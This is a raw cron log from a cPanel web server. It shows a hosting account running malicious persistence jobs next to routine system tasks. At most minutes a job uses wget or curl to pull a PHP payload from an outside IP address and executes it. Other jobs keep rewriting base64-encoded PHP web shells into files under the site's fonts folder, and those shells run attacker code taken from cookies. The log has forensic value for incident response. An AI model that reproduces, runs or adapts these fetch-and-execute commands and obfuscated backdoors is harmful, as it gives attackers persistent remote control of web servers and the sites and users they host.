Sep  1 17:04:01 ip-184-168-122-23 CROND[26463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:04:01 ip-184-168-122-23 CROND[26464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:05:01 ip-184-168-122-23 CROND[26659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:05:01 ip-184-168-122-23 CROND[26664]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 17:05:01 ip-184-168-122-23 CROND[26661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:05:01 ip-184-168-122-23 CROND[26663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:05:01 ip-184-168-122-23 CROND[26662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:05:01 ip-184-168-122-23 CROND[26665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:05:01 ip-184-168-122-23 CROND[26666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:06:01 ip-184-168-122-23 CROND[26761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:06:01 ip-184-168-122-23 CROND[26765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:06:01 ip-184-168-122-23 CROND[26764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:06:01 ip-184-168-122-23 CROND[26762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:06:01 ip-184-168-122-23 CROND[26766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:07:01 ip-184-168-122-23 CROND[26861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:07:01 ip-184-168-122-23 CROND[26862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:07:01 ip-184-168-122-23 CROND[26864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:07:01 ip-184-168-122-23 CROND[26865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:08:01 ip-184-168-122-23 CROND[26967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:08:01 ip-184-168-122-23 CROND[26968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:08:01 ip-184-168-122-23 CROND[26970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:08:01 ip-184-168-122-23 CROND[26973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:08:01 ip-184-168-122-23 CROND[26974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:09:01 ip-184-168-122-23 CROND[27082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:09:01 ip-184-168-122-23 CROND[27084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:09:01 ip-184-168-122-23 CROND[27086]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 17:09:01 ip-184-168-122-23 CROND[27088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:09:01 ip-184-168-122-23 CROND[27089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:10:01 ip-184-168-122-23 CROND[27257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:10:01 ip-184-168-122-23 CROND[27259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:10:01 ip-184-168-122-23 CROND[27262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:10:01 ip-184-168-122-23 CROND[27263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:10:01 ip-184-168-122-23 CROND[27267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:10:01 ip-184-168-122-23 CROND[27268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:10:01 ip-184-168-122-23 CROND[27269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:10:01 ip-184-168-122-23 CROND[27270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:11:02 ip-184-168-122-23 CROND[27389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:11:02 ip-184-168-122-23 CROND[27391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:11:02 ip-184-168-122-23 CROND[27394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:11:02 ip-184-168-122-23 CROND[27392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:12:01 ip-184-168-122-23 CROND[27476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:12:01 ip-184-168-122-23 CROND[27477]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:12:01 ip-184-168-122-23 CROND[27479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:12:01 ip-184-168-122-23 CROND[27484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:12:01 ip-184-168-122-23 CROND[27483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:13:01 ip-184-168-122-23 CROND[27570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:13:01 ip-184-168-122-23 CROND[27572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:13:01 ip-184-168-122-23 CROND[27573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:13:01 ip-184-168-122-23 CROND[27571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:14:01 ip-184-168-122-23 CROND[27652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:14:01 ip-184-168-122-23 CROND[27655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:14:01 ip-184-168-122-23 CROND[27657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:14:01 ip-184-168-122-23 CROND[27654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:14:01 ip-184-168-122-23 CROND[27656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:15:01 ip-184-168-122-23 CROND[27743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:15:01 ip-184-168-122-23 CROND[27746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:15:01 ip-184-168-122-23 CROND[27745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:15:01 ip-184-168-122-23 CROND[27747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:15:01 ip-184-168-122-23 CROND[27750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:15:01 ip-184-168-122-23 CROND[27749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:16:01 ip-184-168-122-23 CROND[27835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:16:01 ip-184-168-122-23 CROND[27837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
